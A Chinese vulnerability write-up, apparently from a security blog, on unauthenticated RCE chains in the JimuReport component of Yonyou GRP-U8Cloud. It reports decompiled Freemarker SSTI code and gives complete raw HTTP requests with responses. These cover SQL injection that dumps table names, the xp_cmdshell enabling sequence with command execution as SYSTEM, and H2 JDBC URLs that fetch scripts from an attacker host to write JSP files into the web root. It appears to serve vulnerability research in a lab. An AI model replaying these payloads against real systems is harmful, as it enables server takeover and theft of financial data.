用友GRP-U8Cloud产品jmreport组件模块Freemarker模板SSTI致RCE漏洞讲解
目标:http://192.168.168.168:8088(用友 GRP-U8Cloud v11,局域网测试环境)
组件:jimureport-spring-boot-starter-1.4.0.jar(JimuReport 积木报表,集成于 U8Cloud webapps)
Freemarker 版本:freemarker-2.3.31
漏洞类型:Freemarker 模板注入(SSTI)→ 任意命令执行(RCE)
1. 漏洞概述
JimuReport(积木报表)是 JeecgBoot 生态的报表组件,GRP-U8Cloud 将其以 jimureport-spring-boot-starter-1.4.0.jar 形式集成。该版本存在 Freemarker 模板注入漏洞:
渲染时
Configuration.setClassicCompatible(true)且 未做任何危险类过滤(无沙箱);攻击者可通过
?new()内置函数实例化freemarker.template.utility.Execute或ObjectConstructor(可构造任意对象,包括java.lang.ProcessBuilder)实现 任意命令执行。
关键结论:
同一渲染调用链上共发现并实证 5 个 rce 入口:
queryFieldBySql、loadTableData(直传型),show、exportAllExcel、exportPdf(库表型,需先写库)。@JimuLoginRequired注解形同虚设:save/saveDb等写接口在无 token 情况下直接可写。攻击者可完全自主构建恶意报表,使show链从"条件性利用"升级为"无条件利用",且写入的恶意数据集持久化在数据库中,可反复触发。已实证的利用方式为命令执行 + 相对路径穿越写文件到
webapps目录(..\U8System\Tomcat\webapps\r7.png),HTTP 访问返回 200 确认落盘。
2. 代码分析(反编译证据)
以下代码均反编译自 webapps/WEB-INF/lib/jimureport-spring-boot-starter-1.4.0.jar(类经过混淆,方法名为单字母)。
Java(编程语言)
2.1 渲染链核心:FreeMarkerUtils
org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils 的静态渲染方法——所有 rce 的最终 Sink:
public static String a(String string, Map<String, Object> map) {
if (string == null) {
return null;
}
Configuration configuration = new Configuration(); // 全新配置,无沙箱
configuration.setNumberFormat("#.#########");
configuration.setSharedVariable("func", (TemplateModel)new FunctionMethod());
map.put("jeecg", new a());
map.put("isNotEmpty", new b());
configuration.setClassicCompatible(true); // 经典兼容模式 → ?new() 可用
StringWriter stringWriter = new StringWriter();
try {
new Template("template", (Reader)new StringReader(string), configuration)
.process(map, (Writer)stringWriter); // 直接渲染用户输入
} catch (TemplateException templateException) {
templateException.printStackTrace();
} catch (IOException iOException) {
iOException.printStackTrace();
}
return stringWriter.toString();
}漏洞根因:
setClassicCompatible(true)是?new()内置函数生效的必要条件;无
freemarker.core.Configurable沙箱(TemplateClassResolver未设置,默认允许任意类实例化);模板内容来自用户输入,无任何转义/白名单。
?new() 即 freemarker.template.utility.ObjectConstructor(FreeMarker 2.3.x 内建),可构造任意有 public 构造器的类——本报告中用它实例化 freemarker.template.utility.Execute(字符串参数命令执行)与 java.lang.ProcessBuilder(进程数组启动)。
2.2 直传型入口:queryFieldBySql / loadTableData
控制器 org.jeecg.modules.jmreport.desreport.a.a(DesignReportController,@RequestMapping("/jmreport")):
@PostMapping(value={"/queryFieldBySql"})
public Result<?> a(@RequestBody JSONObject jSONObject) {
String string = jSONObject.getString("sql"); // ← 用户直传 SQL 模板
String string2 = jSONObject.getString("dbSource");
Object object = jSONObject.get("paramArray");
...
Map map = this.reportDbService.parseReportSql(string, string2, object, string3);
...
}Service 实现 org.jeecg.modules.jmreport.desreport.service.a.i(parseReportSql 反编译片段,来自实测输出回显的堆栈类):
黑客与破解
public Map<String, Object> parseReportSql(String sql, String dbKey, Object paramArray, String type) {
...
sql = e.a((String)sql, null, (Object)paramArray); // 渲染函数:替换参数 + FreeMarker 渲染
...
}util.e 类中该渲染方法的字节码( javap 确认):
// 遍历 paramArray,paramValue 交给 Aviator 表达式引擎 express.b.a 求值
// 将结果替换回 SQL 中的 ${paramName} 与 '${paramName}' 占位符
286: aload_1 // sql
287: aload_3 // map
288: invokestatic FreeMarkerUtils.a:(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/String; // ← SSTI Sink
291: areturn/jmreport/loadTableData 与 /jmreport/queryFieldBySql 最终都走到 e.a(sql, paramArray) → FreeMarkerUtils.a(sql, map)。实测两个入口均确认模板执行。
编程
2.3 库表型入口:getBaseSql 渲染 dbDynSql
org.jeecg.modules.jmreport.desreport.service.a.e(JimuReportServiceImpl)中 getBaseSql(JmReportDb, JSONObject):
// 关键字节码:
// - 遍历 JmReportDbParam 列表,searchFlag=1 时取 queryParam 中的值,否则取 paramValue
// - dbDynSql + paramsMap 交给 e.b 处理 where 参数
313: aload_5 // dbDynSql(数据库里存的 SQL 模板)
315: aload_9 // paramsMap
317: invokestatic FreeMarkerUtils.a:(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/String; // ← SSTI Sink
320: astore_5
322: aload_5
324: areturndbDynSql 来自 jmreport_jm_report_db 表(JmReportDb 实体),通过 /jmreport/saveDb 写入、/jmreport/show、/jmreport/exportAllExcel、/jmreport/exportPdf 等渲染入口触发。该链路证实:攻击者写入的模板会被持久化并在报表渲染时反复执行。
2.4 决定性发现:@JimuLoginRequired 形同虚设
saveDb 与 save 端点均标注了 @JimuLoginRequired,但该注解没有任何生效的拦截器实现——实测不带任何 Cookie / Authorization 头直接调用即返回成功写入。这意味着攻击面从"需要先拿到一个合法报表 id 才能利用"升级为:
软件实用程序
攻击者无凭证即可
saveDb写入任意dbDynSql模板;无凭证即可调用
show/exportAllExcel/exportPdf触发渲染执行命令。
saveReport 的语义(字节码确认):JSON 顶层字段 excel_config_id 指定要更新的报表 id;jsonStr 保存为移除 designerObj 之后的整个 JSON。本测试中 {"id":""} 的 naive 调用会创建一条 jsonStr=null 的垃圾报表(后续 show 时 NPE 500),正确用法必须带 excel_config_id。
2.5 潜在注入面:paramArray → Aviator 表达式( 已完整调查)
2.5.1 反编译确认的注入链
queryFieldBySql 的 paramArray 字段(JSON 数组)沿以下链路进入表达式引擎:
POST /jmreport/queryFieldBySql
{"sql": "select '${p}' as val", "paramArray": [{"paramName":"p","paramValue":"=1+1"}]}
controller a.a(JSONObject) paramArray = jSONObject.get("paramArray")
→ service.i.parseReportSql(sql, dbKey, paramArray, type)
→ util.e.a(sql, null, paramArray) ← 3 参版本
├─ SqlInjectionUtil.specialFilterContentForOnlineReport(sql) ← 过滤对象是 sql, 不含 paramValue
├─ util.e.b(sql, map) #{...} 替换
├─ util.e.a(paramArray, sql) ← ★ paramArray 处理
│ ├─ JSONArray.parseArray(String.valueOf(paramArray)) ← fastjson 解析
│ ├─ 每项取 paramName / paramValue
│ ├─ paramValue → express.b.a(paramValue, null) ← ★★ Aviator 执行点
│ │ └─ "=" 前缀 → AviatorEvaluator.newInstance().compile(expr).execute(new HashMap())
│ │ (实例仅设 Options.TRACE_EVAL, 无安全 FeatureSet)
│ ├─ string.replace("${"+paramName+"}", 结果) 及 '${paramName}' 形态
│ └─ FreeMarkerUtils.a(sql, hashMap) ← ★★★ freemarker 渲染(new Template(sql).process, classicCompatible=true)
└─ util.e.a(sql, "$") 残余 ${...} where/and/or 归一化关键事实:
express.b.a(String, Map)的执行条件(反编译):paramValuetrim()后以=开头即compile(expr).execute(new HashMap())(注意是replace("=", "")替换全部等号,表达式中
的==会被破坏;非=前缀原样返回)paramValue 完全不过滤:
specialFilterContentForOnlineReport只作用于 sql(parseReportSql
开头执行),paramValue 独立注入、结果原样替换进 sql——绕过过滤的独立通道FreeMarkerUtils.a 是无条件渲染点:3 参版本对 paramArray 为
null/[]的请求同样调用FreeMarkerUtils.a(sql, map)(new Template(sql).process(map),classicCompatible=true)——
这就是主 RCE 渲染点(§2.1),paramArray 的有无只决定是否额外执行 Aviator
2.5.2 Aviator 4.2.6 能力边界(目标 jar 本地实测)
用 WEB-INF/lib 真实 aviator-4.2.6.jar 编译执行验证(/tmp/AviTest* 系列,全部无害表达式):
根因:aviator-4.2.6 无 Feature 枚举包(jar tf 确认无 com/googlecode/aviator/feature/),
不存在 StaticMethod / NewInstance 等特性开关,FunctionMissing 钩子也未挂载——表达式求值
不可能触达任意 Java 类方法。结论:paramArray→Aviator 为表达式求值级注入(任意算术/内置
函数),无命令执行、无反射、无文件/网络操作能力,影响显著低于 freemarker SSTI 主链。
2.5.3 附加发现
A. 主渲染点定位:§2.1 渲染链的调用方确认是
util.e.a(String, Map, Object)3 参版本
末尾无条件调用的FreeMarkerUtils.a——paramArray 有无都渲染,P1-P12 混淆谱系绕过的过滤
与渲染点关系闭环B. 零过滤 SQL 注入通道( 目标实测确认):paramValue 为任意字符串时原样替换
进 sql 并由 JDBC 真实执行(绕过 SqlInjectionUtil.specialFilterContentForOnlineReport——过滤对象
是 sql 原文,paramValue 在过滤后注入)。实测要点与证据:paramArray 请求结构(实测发现):目标端必须传 JSON 字符串形态
"paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"...\"}]";直接传数组对象[{"paramName":...}]报expect ':' at 0(500,fastjson 解析异常),传对象形态报syntax error, expect [, actual {数据库确认:SQL Server(报错泄漏
com.microsoft.sqlserver.jdbc.SQLServerException;
注入--注释生效而#注释失败)字段名回显(queryFieldBySql,无鉴权):paramValue
1' as inj --→ 最终select '1' as inj --' as val→ 响应 fieldList 列名由 val 变为 inj数据回显(/jmreport/loadTableData,无 @JimuLoginRequired 鉴权,回显数据行):
paramValuex' as val union select 'DATA-OK' as val--→ 最终select 'x' as val union select 'DATA-OK'(--注释掉尾部)→ 响应records: [{"val":"x"},{"val":"DATA-OK"}]——union 注入数据完整回显形态适配要点:SQL Server union 结果列名取第一个 SELECT(两侧别名须一致,否则
wrapper 引用报列名无效/8155);loadTableData 分页 wrapper 按解析出的最后 select
列表项引用列名;select 列表不允许布尔比较表达式('x'='x'报关键字 'AS' 附近语法错误)拖库能力证明(,只读元数据):union 读
sysobjects表名完整回显——x' as val union select top 3 name as val from sysobjects--→sysclones/sysrowsets/sysrscols;where xtype='U'过滤用户表 → FA_KP、FEM_CZRZ、GL_Dlzgsnr、HBG_TB_VER_JFB、
Pub_DJLXFzx(典型 GRP-U8 业务表:FA 固定资产、GL 总账、Pub_ 公共档案),确认目标库为
用友账套库;同一形态可将name换为任意列/表读取账务数据(本次未做,保持只读边界)全部实测 payload 仅改查询返回内容(别名/常量行/表名),未触碰数据;注入进 sql 的报错回显
本身即可作无回显确认手段
C. 堆叠查询不支持,但 call 前缀存储过程通道 = 直接 RCE( 目标实测确认):
堆叠结论(双证据):paramValue 注入
x' as val; select 'STACK-OK' as val--(;分隔多语句):
queryFieldBySql 报解析失败;loadTableData 报错泄漏完整执行 SQL——select count(0) from ( select 'x' as val; select 'STACK-OK' as val--' as val ) tmp_co...——
注入 sql 在查询路径被包进分页 count 子查询(selectPageBySql wrapper),SQL Server 子查询内;多语句非法,传统堆叠不可用;该报错同时再次泄漏"注入后完整 SQL 文本"参数陷阱(实测):loadTableData 查询路径必须带
pageNo/pageSize(缺则内部 NPE 报SQL执行失败,{}null——此前成功请求均带 pageNo=1&pageSize=10);executeProcedure(call)通道
不受此限制call 通道(反编译证据):
loadTableData在e.a(sql, paramArray)渲染替换后调用e.f(sql):sql trim 后以call开头(大小写不敏感) 即返回{+ sql +}(JDBC
CallableStatement 转义语法),非 call 开头返回 null 走查询路径;非空分支 →jmreportDynamicDbUtil.executeProcedure(dbKey, string2)→JdbcTemplate.execute(procedure, CallableStatementCallback)(回调首行即CallableStatement.executeQuery()收集结果集)——JDBC 直接执行存储过程,绕过全部分页
包装,结果集经 e.b 回显为 recordsxp_cmdshell RCE 实证(只读 whoami,符合无害约束):
sql=call xp_cmdshell('whoami')
→{"success":true,"code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]}}
——xp_cmdshell 已启用(默认禁用,该环境已开),以 SYSTEM 权限执行,命令输出逐行回显配置查值确认(union 查 sys.configurations):
show advanced options=1、xp_cmdshell=1开启序列(未启用目标用):
call sp_configure('show advanced options',1)→call reconfigure()→call sp_configure('xp_cmdshell',1)→call reconfigure()→call xp_cmdshell('<cmd>')。实测:sp_configure/reconfigure 请求返回SQL执行失败,{}null
属预期——executeProcedure 回调用executeQuery()取结果集,二者不返回结果集必然抛异常,
但 JDBC 先执行过程再取结果集,配置变更已实际执行(RECONFIGURE 立即生效无需重启);
以最后一步 xp_cmdshell 的输出判断是否开启成功。开启为持久服务器配置变更,仅限授权测试环境通用性:
call sp_who()对照同样成功(完整回显会话列表)——任意存储过程执行 + 结果
回显的通用通道,call xp_cmdshell('<任意命令>')即系统命令执行,输出回显数据库连接账号
sa(sp_who 输出 loginame=sa,sysadmin 角色)→ xp_cmdshell 权限完整;
本次仅执行只读 whoami 证明,未执行其他命令
D. HTTP raw 报文实录(完整无省略, 目标实测):以下请求报文与响应均为测试环境
完整实录——请求体即线上字节(JSON 接口原样展示;表单接口展示 urlencoded 后字节),响应为
完整 JSON 未截断。表单字段顺序:dbSource/sql/paramArray/tableName/pageNo/pageSize。1) queryFieldBySql 字段名回显(paramValue
1' as inj --,列名 val→inj):POST /jmreport/queryFieldBySql HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/json Content-Length: 133 {"sql": "select '${p}' as val", "dbSource": "", "paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"1' as inj --\"}]", "type": "0"}{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"inj","fieldText":"inj","widgetType":"String","orderNum":1}]},"timestamp":1786199872684}2) loadTableData 数据回显(paramValue
x' as val union select 'DATA-OK' as val--):POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 200 dbSource=&sql=select+%27%24%7Bp%7D%27+as+val¶mArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+%27DATA-OK%27+as+val--%22%7D%5D&tableName=&pageNo=1&pageSize=10{"success":true,"message":"","code":200,"result":{"total":[{"val":"x"},{"val":"DATA-OK"}],"records":[{"val":"x"},{"val":"DATA-OK"}]},"timestamp":1786199872762}3) loadTableData 表名读取(sysobjects xtype='U',GRP-U8 账套库业务表):
脚本语言
POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 235 dbSource=&sql=select+%27%24%7Bp%7D%27+as+val¶mArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+top+5+name+as+val+from+sysobjects+where+xtype%3D%27U%27--%22%7D%5D&tableName=&pageNo=1&pageSize=10{"success":true,"message":"","code":200,"result":{"total":[{"val":"FA_KP"},{"val":"FEM_CZRZ"},{"val":"HBG_TB_VER_JFB"},{"val":"x"}],"records":[{"val":"FA_KP"},{"val":"FEM_CZRZ"},{"val":"HBG_TB_VER_JFB"},{"val":"x"}]},"timestamp":1786199872787}4) loadTableData 配置查值(sys.configurations 确认 xp_cmdshell=1 / show advanced options=1):
POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 340 dbSource=&sql=select+%27%24%7Bp%7D%27+as+val¶mArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val+union+select+name%2B%27%3D%27%2Bconvert%28varchar%285%29%2Cvalue_in_use%29+as+val+from+sys.configurations+where+name+in+%28%27xp_cmdshell%27%2C%27show+advanced+options%27%29--%22%7D%5D&tableName=&pageNo=1&pageSize=10{"success":true,"message":"","code":200,"result":{"total":[{"val":"show advanced options=1"},{"val":"x"},{"val":"xp_cmdshell=1"}],"records":[{"val":"show advanced options=1"},{"val":"x"},{"val":"xp_cmdshell=1"}]},"timestamp":1786199808697}5) loadTableData 堆叠探测(
;多语句,报错泄漏分页包装 SQL——堆叠不支持证据):POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 198 dbSource=&sql=select+%27%24%7Bp%7D%27+as+val¶mArray=%5B%7B%22paramName%22%3A%22p%22%2C%22paramValue%22%3A%22x%27+as+val%3B+select+%27STACK-OK%27+as+val--%22%7D%5D&tableName=&pageNo=1&pageSize=10{"success":false,"message":"SQL执行失败,{}PreparedStatementCallback; uncategorized SQLException for SQL [select count(0) from ( \nselect 'x' as val; select 'STACK-OK' as val--' as val\n ) tmp_co","code":500,"result":null,"timestamp":1786199848364}6) loadTableData call 通道——xp_cmdshell 命令执行(RCE 实证,只读 whoami):
POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 98 dbSource=&sql=call+xp_cmdshell%28%27whoami%27%29¶mArray=%5B%5D&tableName=&pageNo=1&pageSize=10{"success":true,"message":"","code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]},"timestamp":1786199831314}7) loadTableData call 通道——sp_configure 开启步骤(无结果集报错属预期,配置已执行):
POST /jmreport/loadTableData HTTP/1.1 Host: 192.168.168.168:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 118 dbSource=&sql=call+sp_configure%28%27show+advanced+options%27%2C1%29¶mArray=%5B%5D&tableName=&pageNo=1&pageSize=10{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786199767xxx}其余开启步骤同构:
call reconfigure()、call sp_configure('xp_cmdshell',1)、call reconfigure();
全部返回上述"SQL执行失败,{}null"(executeQuery 无结果集),最后call xp_cmdshell('whoami')
验证(报文 6 形态)返回 SYSTEM 权限输出即开启成功。
2.5.4 端到端验证(本地,真实 jar 全链路)
工具 fmfuzz.jar --param-avi EXPR 生成成品 → fastjson 1.2.83 解析 → aviator 4.2.6 真实求值 →
替换 ${p} → freemarker 2.3.31 渲染(/tmp/E2E.Java),全部命中:
--param-avi '1+1' → 最终 sql: select '2' as val
--param-avi '1+1' -J -j 1(全\u 转义形态) → 最终 sql: select '2' as val
--param-avi "string.substring('FMV-8888',0,4)" → 最终 sql: select 'FMV-' as val
--param-avi 'sysdate()' → 最终 sql: select '<服务器日期>' as val用友GRP-U8Cloud产品jmreport组件模块Freemarker模板SSTI致RCE漏洞分析 - Mrxn's Blog.html
2.6 决定性发现:testConnection 无鉴权 JDBC 任意连接( 目标实测)
2.6.1 反编译确认的接口与连接链
DesignReportController(混淆名 a 类,/jmreport 前缀)中存在无鉴权 数据源测试连接接口:
@PostMapping(value={"/testConnection"}) // 无 @JimuLoginRequired、无 HttpServletRequest
public Result a(@RequestBody JmreportDynamicDataSourceVo vo) {
Connection connection = null;
try {
if (this.jmreportNoSqlUtil.isHave(JmConst.NO_SQL, vo.getDbType())) { // NoSQL 分支
boolean bl = this.jmreportNoSqlUtil.testConnection(vo);
if (bl) { ... return; }
return Result.error("数据库连接失败:错误未知");
}
Class.forName(vo.getDbDriver()); // ← 任意类加载(initialize=true 执行静态块)
DriverManager.setLoginTimeout(60);
connection = DriverManager.getConnection( // ← 任意 JDBC URL + user/pass
vo.getDbUrl(), vo.getDbUsername(), vo.getDbPassword());
if (connection != null) return Result.OK("数据库连接成功", true);
...
}
catch (ClassNotFoundException e) { return Result.error("数据库连接失败:驱动类不存在"); }
catch (Exception e) { return Result.error("数据库连接失败:" + e.getMessage()); } // ← 异常原文回显
finally { if (connection != null && !connection.isClosed()) connection.close(); }
}无鉴权:方法无
@JimuLoginRequired、无 HttpServletRequest(注解需从请求取 token,此方法根本没有)→
实测无 token 直调返回业务响应(非 401/403)全参数可控(VO 字段,JSON body 直传):
dbDriver/dbUrl/dbUsername/dbPassword/dbType连接链:
Class.forName(dbDriver)(类不存在 → "驱动类不存在")→DriverManager.getConnection(dbUrl, user, pass)
——裸 DriverManager,无连接池、无 URL 白名单,按 URL 前缀匹配 classpath 全部已注册驱动异常原文回显:
exception.getMessage()直接拼进返回 JSON
classpath 全部 JDBC 驱动(均可被任意调用,WEB-INF/lib 清单):
NoSQL 分支(dbType 含 redis/mongodb 关键字即进入 JmreportNoSqlUtil.testConnection):
Redis:
new Jedis(HostAndPort.parseString(dbUrl))+jedis.auth(dbPassword)+jedis.ping()
——实测根因 500:classpath 为 jedis-2.9.0(javap 确认无Jedis(HostAndPort)构造,仅有
String/int/SSL 系),jmreport 按更高版本 jedis 编译 → 运行期NoSuchMethodError(Error 子类
逃逸catch(Exception))→ 全局 500 "服务器出错,请重试";出站永不发生,Redis 面实际不可利用MongoDB:
new MongoClient(host:port)+ SCRAM-SHA-1 认证握手,connectTimeout(3)毫秒
硬编码 → 实测返回" 数据库连接失败:错误未知"(API 匹配、异常正常捕获);3ms 超时出站几乎不可达
2.6.2 JNDI 面结论(代码级)
DriverManager.getConnection本身不支持jdbc:jndi:协议;classpath 无 commons-dbcp /
tomcat-jdbc → DBCP/Tomcat 的 JNDI 数据源协议不可用实际的"JNDI 级"面 = H2 引擎内任意 SQL/Java 执行(INIT 通道,见 2.6.3):
远程脚本执行(RUNSCRIPT FROM http)、内联 Java 源码编译(CREATE ALIAS)、任意静态方法引用
(CREATE ALIAS FOR 类.方法)、任意路径文件创建(file 模式)MySQL 8.0.25 的 autoDeserialize/queryInterceptors 反序列化链需要连接后执行 SELECT
触发,本接口仅建连即 close → 不可用
2.6.3 实测证据(全部无害形态,)

2.6.4 HTTP raw 报文实录(完整无省略, 目标实测重放)
以下请求报文与响应均为测试环境完整实录——请求体即线上字节,响应为完整 JSON 未截断。
攻击机 HTTP 服务监听于 192.168.168.167:8001,目标 192.168.168.168:8088。
1) JSP 写入与执行(Java 写文件通道,对应证据 #10)
攻击机 write.sql 内容(含内联 Java 源码定义 + CALL 执行):
CREATE ALIAS IF NOT EXISTS FMVWRITE AS 'void fmvWrite() throws Exception { java.nio.file.Files.write(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe.jsp"), "<%out.print(\"FMV-JSP-OK\");%>".getBytes("UTF-8")); }';
CALL FMVWRITE();POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 174
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvjspprobe;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/write.sql'","dbUsername":"","dbPassword":""}{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258420519}随后访问新写入的 JSP(Tomcat 编译执行,返回的是执行结果 10 字节而非源码原文 45 字节):
GET /fmvprobe.jsp HTTP/1.1
Host: 192.168.168.168:8088HTTP/1.1 200
Set-Cookie: JSESSIONID=BB229892076A1871C9D25EE9FD5A7187; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
FMV-JSP-OK2) H2 直写后缀控制(负面证据,对应证据 #9)
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 146
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe2.jsp","dbUsername":"","dbPassword":""}{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258372484}文件确认——URL /fmvprobe2.jsp 404;实际生成 fmvprobe2.jsp.mv.db(H2 自动追加 .mv.db),
内容为 H2 数据库格式(MVStore 文件头)而非 JSP 内容:
HTTP/1.1 200
Content-Type: application/octet-stream
Content-Length: 16384
H:2,block:3,blockSize:1000,chunk:2,clean:1,created:19fe54c7424,format:3,version:2,fletcher:857d4911
(后续为二进制数据库页,非 JSP 语法)3) 目录不存在时自动创建(对应证据 #12)
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 159
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:file:../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub/test","dbUsername":"","dbPassword":""}连接成功响应同 2)(success:true, 数据库连接成功);随后 GET /fmvprobe_dir_auto/sub/test.mv.db
返回 HTTP 200(16384B,与 2) 相同的 octet-stream 特征)——两级不存在的目录 fmvprobe_dir_auto/sub/
被 H2 建库时递归自动创建。
4) WEB-INF 目录写入(对应证据 #11)
攻击机 write3.sql 内容(写后 Java 读回文件大小并抛异常,经异常回显确认):
CREATE ALIAS IF NOT EXISTS FMVWEBINF AS 'void fmvWebInf() throws Exception { java.nio.file.Files.write(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt"), "FMV-WEBINF-OK".getBytes("UTF-8")); long n = java.nio.file.Files.size(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt")); throw new RuntimeException("FMV-WEBINF-WRITTEN:" + n); }';
CALL FMVWEBINF();POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 169
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvwi;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/write3.sql'","dbUsername":"","dbPassword":""}{"success":false,"message":"数据库连接失败:Exception calling user-defined function: \"fmvWebInf(): FMV-WEBINF-WRITTEN:13\"; SQL statement:\n\nCALL FMVWEBINF() [90105-224]","code":500,"result":null,"timestamp":1786258372631}(写入行为成功;CALL 抛异常导致连接阶段失败,但文件已落盘,错误回显即确认手段)
5) 痕迹清理(cleanup,删除本轮全部测试文件)
攻击机 cleanup.sql 内容(对 6 项测试产物逐一 Files.deleteIfExists,仅删本测试自建文件):
CREATE ALIAS IF NOT EXISTS FMVCLEAN AS 'void fmvClean() throws Exception { java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe.jsp")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe2.jsp.mv.db")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub/test.mv.db")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto")); }';
CALL FMVCLEAN();POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 171
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvcln;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/cleanup.sql'","dbUsername":"","dbPassword":""}{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258372724}清理后复验:/fmvprobe.jsp、/fmvprobe2.jsp.mv.db、/fmvprobe_dir_auto/sub/test.mv.db 全部
HTTP 404——目标侧无测试痕迹残留。
6) SSRF + 远程 SQL 脚本执行(CREATE ALIAS FOR 静态方法引用形态,对应证据 #3)
攻击机 init.sql 内容(纯定义、无副作用,仅注册别名指向既有静态方法):
CREATE ALIAS IF NOT EXISTS FMV_PROBE FOR 'java.lang.System.getProperty';POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 169
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvssrf;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/init.sql'","dbUsername":"","dbPassword":""}{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258483362}攻击机监听日志(目标出站拉取脚本,SSRF 确认):
192.168.168.168 - - [09/Aug/2026 14:55:06] "GET /init.sql HTTP/1.1" 200 -7) H2 内联 Java 源码编译通道(CREATE ALIAS AS 源码形态,对应证据 #4)
攻击机 init2.sql 内容(Java 源码作为别名方法体,由 H2 经 JSR-199 调用 javac 编译):
CREATE ALIAS IF NOT EXISTS FMV_COMPILE AS 'String fmvCompile(){ return "FMV-COMPILE-OK"; }';POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 170
{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvcomp;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/init2.sql'","dbUsername":"","dbPassword":""}{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258483615}攻击机监听日志:
192.168.168.168 - - [09/Aug/2026 14:55:06] "GET /init2.sql HTTP/1.1" 200 -(连接成功 = 源码编译通过。脚本中追加 CALL FMV_COMPILE() 即执行该 Java 代码——本次仅
验证编译通道,未 CALL 执行,遵守无害约束)
2.6.5 影响面
无鉴权 SSRF:dbUrl 任意主机/端口(H2 tcp 模式、MySQL/Oracle/jTDS/jTDS 出站、H2 RUNSCRIPT
FROM http),配合错误回显可内网端口探测(连接成功/失败/拒绝/超时消息差异)目标 JVM 内任意 SQL 执行:H2 INIT 通道,连接建立即执行(无后续查询依赖)
任意 Java 代码执行(RCE 链):RUNSCRIPT 脚本内
CREATE ALIAS ... AS 'Java源码'编译通过已
实测 → 追加CALL即执行;或CREATE ALIAS FOR '任意类.静态方法'引用既有类任意路径文件创建:H2 file 模式,实测写入 webapps 目录(HTTP 可达)
任意类加载:
Class.forName(dbDriver)触发任意类的静态初始化
约束声明:以上验证全部采用无害形态(脚本仅 CREATE ALIAS 定义、未 CALL 执行命令;文件写仅
新建 fmvprobe 探测库未触碰既有文件),未读取任何账务 数据、未执行任何破坏性操作。
3. 攻击面:DesignReportController 全入口分析
控制器 a 类(/jmreport 前缀)全部入口梳理如下(反编译 + 实测):
关键洞察:queryFieldByBean 曾经被误判为候选入口(500 响应),反编译后确认其参数为 javaType/javaValue(javabean 数据工厂反射面)而非 SQL,同一 URL 名字带 "Field" 但走的完全是另一条链。真正需要关注的候选必须满足:参数能进入 FreeMarkerUtils.a() 渲染。
4. 完整 HTTP 报文(无省略,按入口分组)
